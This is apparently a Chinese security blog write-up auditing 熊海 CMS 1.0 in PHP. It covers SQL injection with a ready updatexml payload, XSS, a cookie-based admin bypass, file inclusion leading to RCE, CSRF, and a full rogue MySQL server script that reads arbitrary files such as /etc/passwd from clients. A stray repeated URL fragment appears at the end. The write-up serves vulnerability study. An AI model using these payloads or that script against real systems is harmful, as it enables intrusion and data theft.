熊海1.0cmsPHP代码审计
环境搭建
下载之后直接使用phpstduy搭建就好了
工具使用
比如使用seay审计系统
sql大多数是存在的,但是没有文件上传,这个就是需要自己去验证
漏洞审计
SQL注入
有点多,随便拿一个举例子
就比如我们的登录页面/admin/files/login.php
<?php
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];
if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);
if (!mysql_num_rows($result)) {
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "<script>this.location='?r=index'</script>";
exit;
}
exit;
ob_end_flush();
}
?>
可以看到是没有过滤我们的输入的,直接拼接进了我们的sql语句
注入点在user
1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)#
当然还有太多了,都是这个问题
XSS
xss就是要输出到页面上,还是有太多了,没有登录进管理系统的会
有下面几处
/files/contact.php
漏洞位置:files/contact.php 第12~15行
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
<title><?php echo $navs['name']?> - <?php echo $pages.$info['name']?></title>
可以看到是直接把我们的$pages输出到了页面上
/files/content.php
这里有一个存储型的xss,因为是存在评论功能的,然后也会把我们的评论给输出到页面上
但是我没有成功就使用了其他的
/admin/files/
只要有list的地方,都会展示我们的输入,我只拿一个举例子
比如我们的wzlist
展示文章,我们可以编辑文章,也可以新建文章
然后保存后去展示页面
垂直越权
我们看看后端是怎么验证我是一个admin的
我们随便去一个需要admin登录才可能访问的页面,都发现包含了一个文件…/inc/checklogin.php
我们去看看
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
只是验证了我们的cookie,而且只要cookie不是空的就可以进入
但是有个细节,就是你虽然只要cookie不为空就不会强制你跳转到登录界面,如果要登录成功,还是需要正确的cookie,所以我们这里手动跳转
然后成功登录到后台
文件包含
这个就不说了,太弱智了
index文件入口
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
直接就是包含任意文件了,可以目录穿越的
但是不能使用伪协议是比较可惜的,因为前面files/是多余字符
当然,文件包含很多利用,比如pear问包含,日志文件包含,我们都可以造成rce
不过我们需要知道路径,看y4是这样的
因为是宝塔安装的缘故所以很容易猜测到宝塔php的安装路径/www/server/php/52/
,这里介绍另一个trick的使用也就是pearcmd.php,在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。
,这里这个老cms一定是只能5版本所以一定可以
因此构造payload,往/tmp/hello.php写文件即可
之后文件包含成功RCE
mysql任意文件读取
这个是我们刚刚搭建这个系统的时候,我们是需要连接mysql的
这个时候就可以实现任意文件读取的操作
然后去搜索一下mysql任意文件读取的脚本就好了,根据你php的版本去找一下
<?php
function unhex($str) { return pack("H*", preg_replace('#[^a-f0-9]+#si', '', $str)); }
$filename = "/etc/passwd";
$srv = stream_socket_server("tcp://0.0.0.0:1237");
while (true) {
echo "Enter filename to get [$filename] > ";
$newFilename = rtrim(fgets(STDIN), "\r\n");
if (!empty($newFilename)) {
$filename = $newFilename;
}
echo "[.] Waiting for connection on 0.0.0.0:1237\n";
$s = stream_socket_accept($srv, -1, $peer);
echo "[+] Connection from $peer - greet... ";
fwrite($s, unhex('45 00 00 00 0a 35 2e 31 2e 36 33 2d 30 75 62 75
6e 74 75 30 2e 31 30 2e 30 34 2e 31 00 26 00 00
00 7a 42 7a 60 51 56 3b 64 00 ff f7 08 02 00 00
00 00 00 00 00 00 00 00 00 00 00 00 64 4c 2f 44
47 77 43 2a 43 56 63 72 00 '));
fread($s, 8192);
echo "auth ok... ";
fwrite($s, unhex('07 00 00 02 00 00 00 02 00 00 00'));
fread($s, 8192);
echo "some shit ok... ";
fwrite($s, unhex('07 00 00 01 00 00 00 00 00 00 00'));
fread($s, 8192);
echo "want file... ";
fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename);
stream_socket_shutdown($s, STREAM_SHUT_WR);
echo "\n";
echo "[+] $filename from $peer:\n";
$len = fread($s, 4);
if(!empty($len)) {
list (, $len) = unpack("V", $len);
$len &= 0xffffff;
while ($len > 0) {
$chunk = fread($s, $len);
$len -= strlen($chunk);
echo $chunk;
}
}
echo "\n\n";
fclose($s);
}
这些都是y4实现的,我也没有实现
CSRF漏洞
首先我们可以看到无论是什么操作,后端都是没有进行token验证的,所以如果admin登录了一个账户,我们诱导它去点击我们的链接,就可以实现一些操作,比如删除文章
先抓一个删除文件的包
然后使用bp自带的工具,生成csrf的poc,你可以放在你的官网服务器上,然后只要admin用户点击你的链接,就会删除文章
参考
https://y4tacker.github.io/2022/06/16/year/2022/6/Y4%E6%95%99%E4%BD%A0%E5%AE%A1%E8%AE%A1%E7%B3%BB%E5%88%97%E4%B9%8B%E7%86%8A%E6%B5%B7CMS%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/#%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87%E5%85%8D%E5%AF%86%E7%A0%81%E7%99%BB%E5%85%A5%E5%90%8E%E5%8F%B0-%E5%9E%82%E7%9B%B4%E8%B6%8A%E6%9D%83
6%95%99%E4%BD%A0%E5%AE%A1%E8%AE%A1%E7%B3%BB%E5%88%97%E4%B9%8B%E7%86%8A%E6%B5%B7CMS%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/#%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87%E5%85%8D%E5%AF%86%E7%A0%81%E7%99%BB%E5%85%A5%E5%90%8E%E5%8F%B0-%E5%9E%82%E7%9B%B4%E8%B6%8A%E6%9D%83
https://xz.aliyun.com/t/10393?time__1311=Cqjx2Qi%3DqYwxlxGgh7Q4ODAOA7DCAeD#toc-4